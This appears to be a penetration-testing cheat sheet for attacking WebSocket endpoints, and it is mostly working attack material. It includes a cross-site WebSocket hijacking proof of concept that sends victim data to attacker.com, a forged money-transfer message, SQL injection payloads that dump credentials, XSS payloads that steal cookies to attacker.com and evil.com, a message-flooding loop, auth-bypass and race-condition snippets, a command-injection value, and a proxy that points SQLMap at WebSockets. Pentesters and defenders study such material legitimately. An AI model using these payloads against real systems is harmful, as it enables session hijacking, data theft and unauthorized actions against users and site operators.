- Overview
- Reconnaissance
- Cross-Site WebSocket Hijacking (CSWSH)
- WebSocket Message Manipulation
- SQL Injection via WebSocket
- XSS via WebSocket
- Testing Tools
WebSockets provide full-duplex communication channels over a single TCP connection. Unlike HTTP, WebSocket connections persist, making them vulnerable to different attack vectors.
WebSocket Handshake:
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: http://target.com# Quick WebSocket test
websocat ws://$rhost/ws -1 --text "<script>alert(1)</script>" && curl -i -N -H 'Upgrade: websocket' http://$rhost/wsBrowser DevTools
1. Open Network tab
2. Filter by "WS"
3. Refresh page and interact
4. Observe WebSocket connections
Common WebSocket paths
/ws
/websocket
/socket
/socket.io
/realtime
/chat
/live
/stream
JavaScript in browser console
// Hook WebSocket constructor
const OrigWebSocket = window.WebSocket;
window.WebSocket = function(url, protocols) {
console.log('WebSocket URL:', url);
const ws = new OrigWebSocket(url, protocols);
ws.addEventListener('message', function(event) {
console.log('Received:', event.data);
});
const originalSend = ws.send.bind(ws);
ws.send = function(data) {
console.log('Sent:', data);
return originalSend(data);
};
return ws;
};If WebSocket endpoint doesn't verify Origin header, attacker can establish connection from malicious site.
Check if Origin is validated
// From attacker-controlled page
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
console.log('Connection established from different origin!');
};
ws.onmessage = function(event) {
console.log('Received:', event.data);
};<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
// Send command to get sensitive data
ws.send(JSON.stringify({action: "getProfile"}));
};
ws.onmessage = function(event) {
// Exfiltrate data to attacker server
fetch('https://attacker.com/log?data=' + encodeURIComponent(event.data));
};
</script>
</body>
</html><script>
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
// Perform action as victim
ws.send(JSON.stringify({
action: "transfer",
to: "attacker",
amount: 1000
}));
};
</script>- Proxy → WebSocket history
- Intercept WebSocket messages
- Modify and forward
JSON
{"action":"message","data":"hello"}Plain text
MESSAGE:hello
Binary (may need decoding)
Base64 encoded or custom binary protocol
Original message
{"user":"normal_user","action":"view","id":"123"}Tampered message
{"user":"admin","action":"delete","id":"123"}Send SQL injection payloads
{"search":"' OR '1'='1"}
{"search":"' UNION SELECT null,null,null--"}
{"id":"1' AND SLEEP(5)--"}// Boolean-based
{"search":"' OR '1'='1' --"}
// Union-based
{"search":"' UNION SELECT username,password,null FROM users--"}
// Time-based
{"search":"' AND (SELECT SLEEP(5))--"}
// Error-based
{"search":"' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--"}Create WebSocket proxy for SQLMap
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
from websocket import create_connection
import json
from urllib.parse import urlparse, parse_qs
class ProxyHandler(BaseHTTPRequestHandler):
def do_GET(self):
query = parse_qs(urlparse(self.path).query)
param = query.get('id', [''])[0]
ws = create_connection("wss://target.com/ws")
ws.send(json.dumps({"id": param}))
result = ws.recv()
ws.close()
self.send_response(200)
self.end_headers()
self.wfile.write(result.encode())
HTTPServer(('127.0.0.1', 8080), ProxyHandler).serve_forever()Run SQLMap against proxy
sqlmap -u "http://127.0.0.1:8080/?id=1" --batchSend XSS payload via WebSocket
{"message":"<script>document.location='https://attacker.com/?c='+document.cookie</script>"}
{"message":"<img src=x onerror=alert(document.domain)>"}If client renders WebSocket data unsafely
// Vulnerable client code
ws.onmessage = function(event) {
document.getElementById('chat').innerHTML += event.data;
};
// Exploitation
ws.send('<img src=x onerror="fetch(\'https://evil.com/\'+document.cookie)">');Flood WebSocket with messages
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
setInterval(function() {
for(var i = 0; i < 1000; i++) {
ws.send('A'.repeat(10000));
}
}, 100);
};Token in WebSocket URL
wss://target.com/ws?token=abc123
# Try:
wss://target.com/ws?token=
wss://target.com/ws
Token in first message
# Skip auth message
{"type":"message","data":"test"} // Instead of auth firstRapid message sending
ws.onopen = function() {
for(var i = 0; i < 100; i++) {
ws.send(JSON.stringify({action:"buy",item:"limited"}));
}
};1. Configure ZAP as proxy
2. Navigate to WebSocket tabs
3. Fuzz/modify messages
# Install
npm install -g wscat
# Connect
wscat -c wss://target.com/ws
# Connect with headers
wscat -c wss://target.com/ws -H "Cookie: session=abc"
# Send message
> {"action":"test"}# Install
cargo install websocat
# Connect
websocat wss://target.com/ws
# With headers
websocat -H "Cookie: session=abc" wss://target.com/wsfrom websocket import create_connection
ws = create_connection("wss://target.com/ws",
cookie="session=abc",
origin="https://target.com"
)
ws.send('{"action":"test"}')
result = ws.recv()
print(result)
ws.close()<script>
var ws = new WebSocket('wss://TARGET/ws');
ws.onopen = () => console.log('Vulnerable to CSWSH!');
ws.onerror = () => console.log('Protected or connection failed');
</script>| Attack | Payload |
|---|---|
| SQLi | {"id":"1' OR '1'='1"} |
| XSS | {"msg":"<script>alert(1)</script>"} |
| IDOR | {"userId":"999"} (change user ID) |
| Command Injection | {"cmd":"test;id"} |
Sec-WebSocket-Origin validation
CSRF tokens in WebSocket handshake
Same-site cookies
- Cross-Site Scripting (XSS) - XSS via WebSocket messages
- SQL Injection - SQLi through WebSocket payloads
- Command Injection - Command injection via WebSocket